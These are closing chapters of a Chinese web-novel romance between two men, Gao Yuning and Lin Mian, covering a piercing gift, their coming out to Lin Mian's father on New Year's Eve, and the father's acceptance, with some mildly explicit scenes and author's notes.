第二天是在郜屿宁卧室醒过来的,身边却没人,他看了眼手机,才知道昨晚居然又是吕文晗把他送到郜屿宁手里的。 他吓得赶紧下了床,跑出房间,看到郜屿宁在厨房里煲粥,他咽了咽口水直接跑过去就要解释,“哥,我昨天晚上不是喝那么多故意叫他送我出来的,我也没有在赌气,也没有…” 郜屿宁侧过身拿了块毛巾,淡然地说,“你是不是故意的我能看不出来吗?” 他警铃大作自己是不是又趁着酒劲乱说些什么了。 “哥,你别生气。” 郜屿宁把毛巾放在砂锅盖子上,愣了一下,“我没有生气啊。” 林缅却拽住他的手,要看他的脸,“你生气了!” 郜屿宁把盖子拿开,粥香飘了出来,用勺子舀了一勺粥,“我没生气,你不是故意的。” 林缅听上去像反话,急得跺脚,“你生气了,你就是生气了!” 郜屿宁真的没有生气,林缅就算有情绪也很正常,之前是他自己答应好生日带他去旅游,结果工作忙得连哄他都是忙里偷闲的。 况且昨天晚上林缅只是喝多了,在酒吧门口当着很多人的面就黏黏糊糊朝他身上爬,就连酒吧里出来的路人都看在眼里,看他们的眼神就知道少爷生日又搞了很大的排场。 郜屿宁都无语笑了,“我真没生气…” 林缅将信将疑地看着他,郜屿宁轻轻吹了吹勺子,递到他嘴边,“小心烫。” 林缅收回眼神,垂下眼睛小小抿了一口,“好香。” “真的没生气吗?”小声感叹完,林缅还要追问。 “说了没生气了。”郜屿宁又笑了一声,语气都有点无奈了。 林缅这才安心下来,准备直接坐到餐桌边等粥喝,郜屿宁看了他一眼,又光脚跑出来的。 “穿鞋,刷牙,洗脸,再出来吃饭。连这都要我教?” 林缅只好照做。 等他坐回餐桌边上,粥已经给他盛好了,哄好了郜屿宁他自己却有些闷闷不乐起来,“去年还提前送我礼物呢,今年都不提这回事了。” 郜屿宁把鱼片夹进林缅的碗里,哼笑了一声,“我昨天晚上倒是想给你看,你给我机会了吗?醉成什么样自己心里没数?” 林缅撇撇嘴,快速地把粥喝完,最后伸出舌尖把嘴角的一粒米勾进去,顾不上用纸巾,抬手用手背就擦了把嘴,“好啦现在给我吧。” 郜屿宁给他抽了张纸巾,不紧不慢地把最后一口粥喝完,一边收拾碗筷,“等会。” 林缅有些着急,“到底是什么啊,神神秘秘的。” 郜屿宁嘴角忍不住地微抬,把林缅搞得心更痒了,连收拾个厨房都不定心地跟在后面乱转悠,一口一个哥哥地喊个不停。 终于等他收拾完了,郜屿宁沉默着走出厨房,擦手的纸巾随意团成团丢进垃圾桶,林缅跟了过来,环顾四周根本没找到什么盒子之类的东西。 郜屿宁偏过头轻咳了一声。 “到底是什么?”林缅微微蹙眉。 郜屿宁手掌张开摘下黑框眼镜,不轻不重地丢在茶几上,林缅有些不知所以然。 他拎起衣服的下摆,另一只手抬起,不过几秒就利落地把短袖给脱了,林缅视线随着他手上的T恤移动,直到被随手丢在沙发上。 “到底…”林缅重新抬头看向他,话还没说完却愣住。 郜屿宁的左胸上有两颗小小的钢珠,阳台的阳光照进来,闪出光泽来。他的皮肤很白,乳.晕的颜色也不深,半个身体在光亮下披着金色,皮肉紧实,每一块肌肉都是恰大好处的,好看性感得不像话。 他的头发脱衣服时被带乱了一点,他微微昂起头,抬手朝后捋一把额前的头发,对着林缅眉毛轻轻挑了一下,“怎么没反应了?” 林缅呼吸停住,却下意识地把眼睛移开。 郜屿宁捏住他的后颈,把他扶正靠得更近了一点,微微昂着头,“之前说很好看的也是你,怎么现在看都不敢看了。” 可能因为昨天才打,周围还隐隐泛着红,在阳光下很明显,凑得太近连创口都能看得清楚。 林缅感觉自己的胸口都在隐隐作痛,又要抬头把视线挪开,郜屿宁揽着他的腰朝后腿了两步,两个人一起坐到沙发上,他用手刮了刮林缅的脸,轻声逗他,“看呀,宝宝。” “你,”林缅咽了咽口水,吸了一口气,声音有些发抖,“我说的是我自己想打,谁叫你去打啦,这多疼啊…” “你又不怕疼了?”郜屿宁问。 林缅有些心虚,他确实很怕很怕疼,连拉个伸都吱哇乱叫的,他岔开话题,“其实你打除了好看之外没什么用,但是好像还是我打好玩一点。” 郜屿宁突然笑了起来,故意说,“什么好玩?” 林缅耳朵红起来,“你不是很喜欢那个我这里的嘛…”说着用手指轻轻点了一下自己的胸口,“你要是喜欢的话,我真的可以去打,疼一点也没关系…” 郜屿宁被他可爱坏了,轻轻捏他发红的耳垂,“不要打,疼的。” 林缅眼睛红了一点,低下头很小心翼翼地啄了一下,嘴唇碰到温热的皮肤和带着凉意的钢珠,心跳都加快了一点。 “你喜不喜欢?”郜屿宁看着他发红发烫的脸颊。 林缅喜欢得不行,刚刚还不敢看,现在已经觉得好看得眼睛都移不开了。 郜屿宁每年送林缅礼物都绞尽脑汁,练棒球的时候送有球星签名的球棒,想骑摩托的时候送很贵的摩托,还有手办什么的,尽可能的投其所好,之前的礼物完全把他当弟弟当小屁孩,可他这样的少爷最难哄了,什么都不缺,什么都不稀罕。 得到什么东西当时喜欢的很,但过一段时间就失了宠。不然也不会拿宝贝了没几天的球鞋换假面骑士手办,但带回来之后就随处乱丢。他的喜欢是盲盒沙漏,不限时长,但总会结束。 郜屿宁以前一直觉得在少爷的房间里那一面浩浩荡荡的手办展柜里的那些才算得上是他宝贝的。 因为林缅的喜欢像是电量,他对一样东西爱不释手的时候是在消耗。而郜屿宁的喜欢是容量,就在那里。 郜屿宁也怀疑喜新厌旧到如此地步的林缅,对他的喜欢的期限是多久呢? 其实他偶尔会想起,林缅其实对他说喜欢的时候比那个雪天更早,早很多,类似于“我最喜欢那个系列的假面骑士,因为我觉得他和你很像”。明明知道他说的不是长相而是感觉,但郜屿宁还是只会淡淡地回答,“哦,变身前还是变身后?” 他和林缅之间总是这样,好比一部通信不畅的电话,你不懂我的口是心非,我不听你的言下之意。 伴随着嘶嘶啦啦电流声,靠着时间和经历堆出来的牵挂和羁绊,才勉强接通电话。 自诩比林缅成熟、比林缅顾全大局的郜屿宁犹豫很久才决定认真接听电话,才发现固执又任性的林缅其实在电话那头已经大喊大叫很久了。 像一个每天都在喊i love you的发声娃娃,很吵。但是惊喜地发现电量不仅没少,还是满满的。 原来林缅的喜欢也可以是可再生能源发电的,太阳下山了还有风,水…只要他还活得生机勃勃,与一切自然和生命都还有关,就没有停下来的意思。 他很心疼这样顽固的林缅,心疼到开始学着林缅的样子,也幼稚地相信自己是林缅非常重要非常特殊的人,相信我们就是命中注定,相信一辈子、永远之类的誓言。 抛开所有后顾之忧后,事情突然变得简单起来,送礼物很容易就投其所好,只要记住他说过的稀奇古怪的小癖好就可以,而这正是郜屿宁擅长的,爱你也很容易就说出口,就连一辈子都变成好像是很轻松的事了。 就像他回过头来,初见时那么讨厌这个小孩儿,觉得他性格骄纵叫人厌烦。 回过头来才发现,自己竟然就这样骂骂咧咧地把这个小孩养得香喷喷亮晶晶很是讨喜。 作者有话说: 打乳.钉是因为16章林缅提过自己喜欢乳.钉,觉得很好看 预告一下正文就快要完结了!番外火热筹备中,前面提到的一个都不会少!他们会继续黏糊下去的!非常感谢愿意一路陪伴的宝贝! 第63章 第63章[VIP] 时间确实很快。 两人上班的上班, 上学的上学。 公司自从搬来江市,蒸蒸日上,郜屿宁的工作也越来越繁忙。 一转眼又到了年尾, 除了重要节日硬挤出来的时间,两个人平时能抱在一起睡个素觉、吃顿便饭都很难得,更别说做.爱了。上一次还是圣诞节, 林缅穿成小麋鹿,跪得膝盖都红了。 跨完年没多久就放了寒假, 犹豫了好久要和林佑勤沈珏讲今年不想回家过年的事情, 但消息刚发出去, 林佑勤的电话就打来, 劈头盖脸一通说,一年到头都不着家就算了,连过年也不回来像什么样子! 林缅闷闷不乐地收拾行李,郜屿宁哄了他几句,他又开始不定心地盘算半夜溜出来的事情, 郜屿宁当然不准他瞎折腾。 林准来接他时,没看见人影, 只看到提前就被放在单元门口的行李箱。等了好一会才看到林缅人影, 一脸不高兴的被郜屿宁送下来。 一看就是计划要翻墙偷偷溜出来之类不靠谱的事情, 被郜屿宁制止后教育了一顿。 直到快要上车了, 郜屿宁扫了他一眼,轻咳了一声。 “你要跟我赌气?” 林缅这才不情不愿地承认错误, 转过身抱了一下郜屿宁, 接着就被塞进了车里。 郜屿宁和林准因为工作经常见面, 林缅见他的次数很少,但两人都没问过林准后来是怎么摆平郜青山他们的, 林准也很默契地没有跟他们交代的打算。 林缅只要郜青山不要再来纠缠郜屿宁,其他的,以林准断决如流的程度,应该能处理得很好。 可能见钱眼开的姜龄和郜青山会摔进某个陷阱里永世不得翻身,可能生病得了好心人帮助的郜决冕有机会继续得到资助,走向比以前光明很多的未来。不管怎样,都和郜屿宁和林缅无关。 回到家里,林缅也学乖了很多,心想着反正有林准在,要是被骂了应该也会有人替他说上两句。 餐桌上,林准却突然说今年除夕夜有工作,可能赶不回来。 林佑勤事先并不知道他有工作安排的事情,随口问了一嘴。 林准平淡地回答,“是和维路科技的项目。” 林佑勤顿了一下,“是郜屿宁现在的那个公司?” 林缅咬着筷子,他没听郜屿宁说过过年还要工作的事情。 “嗯,就是和他,有会要开。” 林佑勤自然是知道公司在和郜屿宁那个公司有合作的事情,起先只以为林准是去老熟人那里试试水。但是初创公司比那些老油条要真诚又认真很多。林准的眼光林佑勤很放心,郜屿宁的能力也不必说。一来二去合作频繁了起来。 餐桌上提到这个有点久违的名字,沈珏有些惊喜地说,“那不如直接叫小郜来家里吃年夜饭好了,吃完饭你们再聊。” 郜屿宁的家庭情况他们是了解的,以前也不是没来家里过过节日,林佑勤也说,“来家里吧,正好我也一块看看。” 林准清了清嗓子,却说,“到时候再说。” 林缅心提到了嗓子眼儿,心里激动。 沈珏突然说,“正好隔壁秦老师的闺女也到了谈婚论嫁的年纪了,让两人见见。” 沉默了一整晚的林缅终于憋不住了,心直口快,“他谈恋爱了。” 林佑勤笑了一声,“看来他还没把你拉黑。” 林缅咬着嘴唇埋下头继续吃饭。 沈珏顿了一下,有些遗憾,“谈恋爱了啊,那也挺好…” 被林佑勤怼一句,完全不影响他的好心情,因为他实在不想让郜屿宁一个人在家里冷冷清清地过年。 真到了除夕那天,郜屿宁虽是借着工作的由头来家里,但是好歹过节,拎了好些很上得了台面的礼盒。 好久没来,上到沈珏下到家里的佣人都热情地到门前迎接,只有林缅有些心虚地躲在楼上楼梯后面,生怕被别人发现些什么不对劲。 林准在他身后揶揄,“还真当是女婿上门,你是躲在屋里害羞的黄花小伙子。” 林缅这时候却不知羞耻地应了下来。 人前两人都客客气气,跟之前相较生疏了不少,就连沈珏都在饭桌上唏嘘之前那么好的感情怎么说生分就生分了,就连林佑勤都有些惊讶,一句话不说跟从没认识过一样。 没人知道林缅直接光着脚踩在郜屿宁的鞋面上,听闻此言还踩了踩他。 林缅本以为工作只是借口,但吃过饭三个人真的去了楼上书房开会去了,他只好陪两个双胞胎在楼下搭乐高。 甚至还开了好久,九十点钟还没出来,林缅很急,生怕不能跟郜屿宁倒数321。 令人惊喜的是,天公很是作美,江市很难得的下了大雪,从前天算起已经连续下了两天,到大年三十这天路上已经铺了厚厚一层,晚上开车容易打滑很不安全。 沈珏干脆叫吴姨给郜屿宁收拾了一间客房,林缅在一旁听着,耳朵竖得笔直,心里激动得很,轻咳一声和两个双胞胎道了别,准备上楼把自己洗得香喷喷的。 在房间等得百无聊赖,直到听到走廊里有林准的脚步声,他才确信他们工作已经正式结束了。 林缅:老公老公我来找你了! 不等对方回复,他兴奋地跳下床就要溜去找郜屿宁,但门打开一往楼梯口冲就差点撞到林准的身上。 “干什么去?”林准就站在他房间门口守株待兔,不太客气地问。 林缅眼皮掀起来,有些心虚,但还是尽量理直气壮地说,“你叫他来家里工作没有帮我的成分吗?我现在去找他你很意外?” 林准帮他归帮他,看到他这副不值钱的样子还是来气。叹了口气,微微侧过身子,“你俩悠着点,被爸发现了我可…” 林缅顿了一下,他其实一直在考虑和林佑勤摊牌的事情,“会怎么样?” 林准张了张嘴正要分析,林缅的手机响了一下,他立马不要跟林准闲扯了。林准只是瞥见他手机备注上的老公还有一连串爱心,就受不了地移开了眼睛,两个人不约而同地分道扬镳。 为了不让人发现他摸黑下的楼,还走的楼梯没坐电梯,林缅凑到郜屿宁房间门口,小心翼翼地轻叩门板,清了清嗓子,小声说,“老公开门,我是弟弟。” 门板从里面打开,林缅还扒着门缝,身子被带着朝前栽去,差点没站稳,但被稳稳地捞住了。 “唔…” 锁扣轻轻一响就被带上,林缅被摁在门板上,被突如其来的吻堵得讲不出完整的话。 “好想你啊…老公。” 郜屿宁滚了滚喉结,吻得更深,“我也是。” 他主动且乖顺地迎合,任由郜屿宁把他的睡衣脱得精光后,开始对他也上下其手。 郜屿宁穿着一件睡袍,刚洗完澡里面真空,林缅轻轻一扯腰带,就松松垮垮地散开,从腰间一点点往上移,摸到他左胸上的小钢珠,轻轻揪了一下。 郜屿宁难捱地闷哼了一声,“林缅…” 林缅兴奋起来,使坏心眼儿地又要下手,两只手却都被抓住,锢到身后。 “干嘛不让摸…”林缅还想调戏他。 却不料郜屿宁没有回答,直接微微蹲下些,拖着他的屁股把他抱起,扔到床上,他的两只手被交叉摁在了头顶上方的位置。 下一秒郜屿宁就用行动告诉他为什么不让摸。 林缅余光里看到郜屿宁的脑袋伏在他胸口,同时郜屿宁的另一只手也不闲着,他敏感得身子发抖。 干柴烈火之后,林缅趴在郜屿宁胸口,喘着粗气。手在郜屿宁的腰线上轻轻抚摸,偏过头伸出舌尖想要舔一下。 却发现比之前要红了很多,还微微发肿,他趴起来认真看,“怎么又有点肿…” 郜屿宁又揽住他的肩膀让他躺回来,吻了吻他的额头,“没事。” “不行,”林缅语气担忧,“上次不是说已经好了吗?是不是我刚刚…” “不是,”郜屿宁箍住他的腰和屁股把人拉上来又要亲,“休息好了?” 林缅蹙着眉挣开些距离,“那是又发炎了?” 说来奇怪,林缅每次受伤郜屿宁总能帮他养得一点疤都不留,但偏偏到自己身上一枚小小的乳.钉都没养好,六个月反反复复发炎了好多次。 但主要是因为应酬太多烟酒海鲜根本没法忌口,工作累得洗澡沾了水也没管。当时穿孔师交代过的注意事项漏了七七八八。 “把它拆掉,不要了。”林缅思考了两秒,说着就要上手去拆。 郜屿宁钳住他的手,“怎么不要了?” 林缅有些幽怨,但又心疼,“谁叫你不注意的,都不好好保管我的生日礼物…” “过段时间再看吧…”郜屿宁话还没说完,但林缅眉头紧锁,态度很是强硬,要直接上手,郜屿宁直接把他的手也箍住。 林缅怜爱地看了一会,小心翼翼地啄了一口。 郜屿宁见他这副样子,嘴上安慰着,“不疼的,真的。”但忍不住想笑,笑着就凑过来要亲他。 林缅蹙着眉撇开头,有点怨郜屿宁没有把自己照顾好,撑着身子爬起来在地上找衣服穿。 “怎么了?”郜屿宁顿了一下,“真生气了。” 林缅回答,“我去楼下拿药箱,帮你消个毒。” “用我陪你吗?” 林缅拎裤子的手顿了一下,扫了眼时间,已经十一点多,眼珠子转了转,“他们应该都睡了,我们一块儿下去吧。” 郜屿宁也起身穿了林缅帮他带过来的睡衣。是因为感觉要分开太久,林缅偷了一身郜屿宁的睡衣带走,可以睡觉的时候抱着。 下了楼,只开了盏暗灯,林缅跑到壁炉旁边的柜子旁,蹲在地上翻药箱,消毒的消炎的各种抓了一把。 郜屿宁脱了鞋轻轻踢了一下他的屁股瓣。 林缅抬头看向郜屿宁,晃了晃手里的药片,“消炎药也要。” 郜屿宁无奈地弯下腰,直接把人从地上捞起来。 “你房间好像没水,去厨房把药给吃了。”林缅精打细算着,领着郜屿宁进厨房。 郜屿宁无奈地听他安排,接了杯水,接过林缅帮他剥出来的两粒胶囊送进嘴里,仰头咽了下去。 “检查。”林缅说。 郜屿宁配合地张开嘴上下左右敷衍地摆了下脑袋给他看。这是林缅以前生病吃药时,郜屿宁总这样检查他。 林缅这才满意,揪着他的衣领凑过去亲了他的嘴角,算是还了之前那个被他躲开的吻。 郜屿宁趁机咬住他的嘴唇,轻轻厮磨,吻逐渐变湿,变深。 林缅被拖着屁股抱了起来,坐到了岛台上,两条胳膊挂在郜屿宁的肩膀上,身体都贴到一起。 窗外的烟花声渐渐变得吵闹起来,客厅的钟发出一声沉重的声响。 两个人的嘴唇慢慢分开,额头抵在一起,气息交织。 林缅蹭了蹭他的鼻尖,“哥,新年快乐。” 郜屿宁也笑了一下,揽住他腰的手轻轻摩挲,“新年快乐,宝宝。” 两个人又吻在一起,闭着眼睛,吻得忘情。 直到林佑勤的声音突然从门口传过来,深沉着,微微发颤。 “你们…在干什么。” 作者有话说:《 》 【完结】 第64章 第64章[VIP] 两人弹射似的分开。 林佑勤穿戴整齐, 眼神严肃又复杂地看着他们。 身后的沈珏嘴巴惊讶地张开,手掌捂在口前,眼睛也睁得很大。 两人身上还带着淡淡的香火味道, 应该是从沉式祠堂上来。 林缅甩了甩腿,郜屿宁回过神来扶住林缅,叫他从岛台上跳了下来。 林佑勤往前走了半步, 郜屿宁下意识地把林缅往身后拽了一下,让他躲到后面, “林总…” 林佑勤顿了一下。 郜屿宁深吸了一口气, 干脆坦白道, “林总, 我和林缅在谈恋爱…” 就说这两人突然人前那么生分就不对劲。林佑勤的视线从林缅探出来的脑袋,移到郜屿宁的脸上,眼神冷了很多。 “我们都是认真的…”郜屿宁沉了沉气,继续说。 “林缅你给我过来!”林佑勤打断他。 林缅的脑袋瞬间缩了回去,低头靠在郜屿宁的背上。郜屿宁赶紧转身护住林缅。 林佑勤瞪大了眼睛, 作势要冲过来,“整天不着家, 你就在外面搞同性恋!” 沈珏也要拦他, “老林, 你有话好好说。” 林缅吱哇乱叫地躲得更远, 郜屿宁把他掩住,“林总, 您…您先听我说…” 林缅逃到了岛台的另一边, 郜屿宁让他躲在身后, 差点玩起了老鹰捉小鸡的游戏。 “林缅!你这个…”林佑勤撑在了岛台上,心脏突然一阵揪疼。 沈珏赶紧扶住他, “老林!你动这么大气干嘛!” 林缅探出身子,有些关心地看着林佑勤,“爸,你没事吧…” “林总…” 林佑勤抬起头,看向郜屿宁,捂着胸口,“你让开,你大他那么多你!你…我过会再跟你算账…” “爸!”林缅拉长了声音。 “林总…” 沈珏大声地跟林佑勤说,“孩子都这么大了!你能做得了谁的主!再把自己身子气坏了…” 林缅只敢在岛台的这一面够到水杯给他倒了杯水,推到他面前,“爸,我们是真心相爱的…” 一听到这种话林佑勤又头疼起来,“少跟我放屁!你们两个男的…” 沈珏拿出小药罐,倒在掌心捂住林佑勤的嘴,叫他把后半句话和药丸一起咽了进去。 楼下闹出这么大动静,林准也很难听不到,一走到厨房门口,看到两波人站在岛台的两边就知道闹出什么事情了。 林准说的话是最管用的,当着林佑勤的面不留情面地数落了一番这两人。 “爸,今天太晚了,还大过年的。咱回头再处理他俩,您别把身子气坏了,赶紧先上楼休息。下这么大雪,这俩人又跑不掉。” 林佑勤呼吸有些急促,捂着胸口的手才缓缓放下,被林准三言两语地劝上了楼。 待林佑勤和沈珏都走后,林准没好气地看着他俩,“叫你们悠着点儿…” 林缅有些无辜,“我忘了除夕夜他们都要去烧香了,还以为都已经睡了…” 郜屿宁捏了捏他的手,轻声安慰,“没事儿。” 林准皱眉,“你俩别搞出这种鸳鸯被棒打的架势,赶紧上楼睡觉…”说完转身离开了。 第二天吃早饭的时候,林佑勤扫了眼,声音严厉地吩咐,“喊林缅去,到书房等我。” 林缅按照以往的习惯,都是要睡到大中午才会醒的。沈珏思量了两秒,拦住要上楼的吴姨,“吴姨,我去喊小缅吧。” 沈珏也不是没有年轻过,热恋中的小情侣越是要拆散越是黏糊,她去林缅房间门口敲了敲门。 过了几分钟都没应声,她直接推开门,里面果然干干净净,从来不叠被子的林缅床上也整整齐齐,一看就是没沾过这张床的样子。可她直接去郜屿宁的客房又不方便。 正好林准从另一头的房间里出来,准备忽视沈珏擦肩而过。 “小准,那个小缅…” 林准闻声朝林缅的房间里扫了一眼,简单回答,“我去喊他们。” “诶好。”沈珏笑了一下,得到林准一句回应的沈珏都很满足。 林准敲开郜屿宁房间的时候,郜屿宁已经穿戴整齐,他朝里面望了一眼,郜屿宁朝旁边移了一步,挡住他的视线,“他还在睡。” 林准啧了一声,“喊他起来。” 郜屿宁转了转袖口,转身直接把门带上,不让他扰林缅清梦,“我先去见林总。” 林准看了他一眼,无奈地往后撤了两步,叫他直接去书房。 郜屿宁走到书房门口,敲了敲门,林佑勤冷淡地应声,“进。” 门打开,林佑勤的视线在郜屿宁身上顿了两秒,似乎也没有很意外。 郜屿宁站到林佑勤沙发的侧边,微微扯了扯嘴角,“林总。” “郜屿宁,我现在应该叫你郜总了。”经过一个晚上,林佑勤已经冷静多了,语气平淡地说,朝对面的沙发抬了抬头,示意他坐下来。 “不敢当。”郜屿宁微微颔首,坐了下来。 他深吸一口气说道,“林总,关于我和林缅的事,我确实在有计划地想跟您坦白,昨天晚上…” 林佑勤打断他,“你比他大很多,又从十岁出头就黏在你身边,我很难不怀疑你对他早有企图…” “您赞助过我上学,工作之后也提携过我,之前是我的领导,现在又是我的甲方。”郜屿宁无奈又得体地笑了一下,“如果对他有企图,是我太没良心了一点…” 但他又坦荡地回答,“企图算不上,但私心确实是有一点的,因为我是真的很喜…” 话还没说完,外面传来风风火火的脚步声,紧接着两声急促的敲门,“爸!爸爸!” 不等他应声,门口被推开了,林缅急赤白脸地冲了进来,林准也没拦住他,站在门口双手摊开地看向郜屿宁,脸上写满了无奈。 林缅跪到林佑勤的面前,一把鼻涕一把眼泪,“爸,你不要欺负郜屿宁!你有什么事情就冲我来好了!我前两天去看妈妈都跟她坦白了,她第二天就托梦给我说会祝福我们!” “你要是不同意我就去找妈妈!一头撞死在妈妈墓前!” 说的话难听得林佑勤都皱着眉,按照往常早就对他不客气了,但又可怜兮兮地提自己的生母,林佑勤撇开眼睛,语气严厉地说,“起来!大年初一哭哭闹闹的像什么样子!说得这些都是什么话!” 林缅垂下头变成小声的啜泣,郜屿宁起身去把林缅扶起来,林缅扭回头,上下扫视着郜屿宁,“你没有受伤吧,他没有打你吧!” 郜屿宁笑了一下,任由他检查,用手背帮他擦眼泪,轻声哄他,“没有,真没有。” 林佑勤看着心烦,刚想心平气和下来的谈话又烦躁起来,捂着胸口,“出去出去出去,都给我出去。” 林准看着他俩朝门口撇了撇头,林缅牵住郜屿宁的手,朝门口走去,时不时回头,“爸,你别生气了…” “林总,我们先出去了。” 林佑勤深吸一口气,“你们两个下去吃早饭。” 林准帮他拿完药,轻拍着林佑勤的背,“爸,小缅大了…” 林佑勤平复了声音,哀叹着,“是啊,从小主意就大,小时候打打骂骂还能听话,现在…哎…” “不说别的,您觉得,郜屿宁这个人怎么样?”林准接过他手里的水杯。 林佑勤顿了一下,他对郜屿宁是十分器重的,不管是工作能力,还是为人处事,都找不出一点纰漏,就在他还在擎尤做总助的时候,他就知道郜屿宁不是池中之物,果然没过多久就出来创业了,短短一年就把公司经营得又上了一个台阶。 窗外雪花在空中乱舞。这场雪已经断断续续下了三四天了,这在江市是很少见的。 虽然雪花悠然地往下落,没有要停的意思,但是太阳却依旧高高挂着,把阳光慷慨地洒向白茫茫的人间。 在院子里戏耍的小孩儿笑声很大,充满了生气,打断了林佑勤的深思。 他走到窗边,朝外望。 两个不及林缅腰高的双胞胎朝林缅身上扔雪球,林缅也毫不留情地一手抓着一个小孩儿往雪地里摁,好不容易从地上爬起来,又被林缅推倒,循环往复。三个小孩儿都笑得前仰后合的。 “林缅。” 林缅扭头看,惊喜地喊,“哥哥!” 郜屿宁拿着手套和围巾朝他走过来,把他脑袋上的雪花拍掉,外套上的帽子帮他戴上,又裹紧了围巾,掖得好好的,连手套也给他一只手一只手地戴上。 林佑勤突然想起一件事。 郜屿宁辞职的时候把配给他的汽车钥匙和一张银行卡还给了他。那张卡是林缅黏郜屿宁黏得越发紧的时候,他给郜屿宁的,用作林缅平日的开销。 后来才发现,这么久了里面除了每月往里汇钱,一分钱也没动过。其实他早该料到的郜屿宁和林缅的事的。 看到几个孩子在下面嬉笑打闹的样子,他后知后觉,嘴角早就不自觉地弯了起来。 他摇了摇头,无奈地笑了一声,离了窗边,“随他们去吧。” 林缅被郜屿宁裹得结结实实,再和双胞胎打雪仗时就没那么自在了,两个小豆丁捡雪朝人投去都灵活得很。 吴姨站在一边看他们跑啊闹啊的揪心得很,一直喊着小心小心小心。 “帮我!”林缅转过身朝郜屿宁求助,郜屿宁笑着靠近了两步,两个双胞胎都被吓跑了,哭着要去找妈妈。 林缅手上新捏出来的雪球没处扔,突然欠欠儿地朝郜屿宁身上砸去,白色的雪花在黑色的羽绒服上炸开,落了一身的雪,郜屿宁愣了一下,林缅已经要跑了。 郜屿宁眼疾手快地抓住他,林缅被拽进怀里,“跑什么?” 林缅挣脱不开,笑个不停,只能心虚地哄他,“哥,不扔浪费了。” 郜屿宁擒住他的脖子,弯下身子抓了一大把雪,吓唬他,“浪不浪费?” “嗯…”他怎么回答都不对,转身就要逃走,却依旧被锢得死死的。 林缅身体的重心都落在郜屿宁身上,郜屿宁稍稍松了个力,林缅就朝下庸去,反倒开始紧紧抓住郜屿宁,“哥…” “错了没?”郜屿宁手上的雪球落了几片到他的脸上。 林缅嘴硬,“没错!” 郜屿宁直接松了手,林缅滑到了地上,躺在地上抓了把雪朝郜屿宁扔去,郜屿宁偏头躲开,但四散开来的雪花掉一些在他头发上,他回过头居高临下地看向林缅。 林缅知道自己不是对手,突然有些认真地说,“哥…” “你好帅啊。” 正准备报复的郜屿宁都愣了一下,直接笑出了声,“你有毛病啊?” 林缅一脸严肃,从地上爬起来,帮他掸了一下衣服和头发上的雪,“啧,怎么弄成这样,真不小心…诶?吴姨,你喊我?” 眼神朝吴姨看去。 郜屿宁随着他的眼神,转过身,不远处的吴姨一脸懵地看着他,“啊?” 林缅朝她走去,“哦哦,我马上就来!”越过郜屿宁,走了几步回头看了眼他,直接跑了起来,绕过吴姨想躲进屋子。 却被早就看出他在装痴卖呆的郜屿宁逮住,“再装?” 林缅这才苦苦哀求,恨不得把脑袋缩进围巾里,“我错了,哥,我真的错了。” “哪错了?”郜屿宁把他勒得紧紧的。 “不该恩将仇报……诶!我突然想起来!”林缅话说一半又亢奋起来,要朝屋内溜。 但又被郜屿宁拽回来,哼笑着,“一招你要用几次?” 林缅自己都觉得信用透支了,从袖子里伸出三根带着毛茸茸手套的手指,保证说,“哥,真的,我真的有东西要给你看。” 郜屿宁看了他一会,将信将疑地松开了手臂,低头拍了拍身上的雪,林缅也帮他一起,两人身上的雪都抖干净了,林缅直接牵住他的手进了别墅。 回到林缅房间,林缅把郜屿宁推到沙发上,神秘兮兮地去书架上翻找,还不允许他过来看。 郜屿宁也不催他,笑着看他能翻出什么花样。 没过一会,林缅拿了本相簿,藏在身后朝他走过来,“你猜猜这是什么好东西!” 郜屿宁看着他身后的相册,眯了眯眼睛,“什么?” 林缅在地毯上跪下来,兴奋地把册子放在茶几上,轻车熟路地翻到了那一页。 郜屿宁身子前倾,手肘撑在双腿上,看清照片的时候愣了一下,鼻尖都有些微微发酸。 是当时得到林佑勤创办的助学基金会资助的时候,电视台采访时拍到的照片,作为企业家儿子林缅也被迫出席。 郜屿宁那时还是顺毛的发型,鼻梁上架着眼镜,硬朗的眉眼和鼻梁都被遮住,比现在看起来要青涩和温和一些,但还是帅得浑然天成。 林缅有些呆呆地看着镜头,穿着板正的小西装,鼻子和眼睛都很红,像是哭完刚被哄好的样子。 那时的林缅才一米四多点,和郜屿宁相比差了很多,两只手有些僵硬地牵在一起,完全是大人和小屁孩儿。 林缅歪着头仔细观察郜屿宁的反应,“你怎么不惊讶?我们那个时候就见过了!” “我那个时候都二十了,不至于还不记事儿吧。”郜屿宁嘴角微抬,手指在相片中林缅的脸上蹭了一下。 林缅眨巴了两下眼睛,“那你不会从那个时候就喜欢我了吧!” 郜屿宁被他逗笑了,“你才十二岁,我那时候就喜欢你,我畜不畜生?” 林缅有些遗憾,但认真地吹牛,装作扭捏的样子,“可是我从那个时候就开始喜欢你了呢…” “少来了,”郜屿宁哼了一声,帮根本不记得情况的林缅回忆,不客气地说,“你那天跟流水线似的,和十几个学生拍了照,拍到最后耍脾气在镜头面前哭鼻子,上上下下要多少人来哄你…” “还吹了个大鼻涕泡,让我牵你的时候我都怕你蹭我一手…” “哥!不许说了!”话还没说完林缅直接爬起来,脸红耳热地捂住他的嘴巴。 郜屿宁被推倒在沙发上,林缅骑上来,他扶住林缅的腰,怕他从旁边掉下去,但林缅越是急眼他就越想笑。 日落时分的阳光很是慷慨的,瞅准了角度照进房间里,照在嬉笑打闹的两人身上,照在历久弥新的出席合照的相片上。 把时间走过的痕迹描摹得十分清晰。 窗外的寒雪却不因为这样热烈的阳光消融。 命运真是很神奇的东西。在江市这样的城市里据说十几二十年都难遇的大雪,让他们碰到了两次。 仔细算来,正是上一场大到江市教育局都宣布停课、林缅才得以赖在郜屿宁家的大雪,让两人的生命像两条绳子开始真正地交织和纠缠在一起。 此间的种种早被结绳记事。 不用说都知道,爱真正产生质变的时候要比他们自己意识到的要早很多。 试图摸索琐碎的绳结,找到爱真正发生的节点,指尖轻轻捻着划过无数个小疙瘩,仔细温习。 但无论悲喜,都只反复领悟到“原来你那时就这样爱我”这一件事。 此后,亦无关阴晴,绳结上记录的都将会是“我要如何爱你”- 正文完- 作者有话说: hello everyone! 很感谢大家愿意看到这里!私以为敲下正文完的这一刻一本小说才算完整才开始有生命,很感激大家能愿意一起见证这个故事的诞生! 感恩生活!感恩相遇! 接下来让我们番外见吧,先更新预定的ABO,和正文设定稍稍做了点改动。 林佑勤是郜屿宁的贵人,但是临终时把还不记事的林缅托付给郜屿宁,林缅是真正意义上完全被郜屿宁养大的故事。 林缅belike:小时候你会抱我洗澡帮我换内裤,我会亲你抱你,可是现在只是要你像以前一样抱着我睡觉,你却把我推开说不方便。 没有逻辑,只想搞黄(尽量),甜甜的很轻松。《 》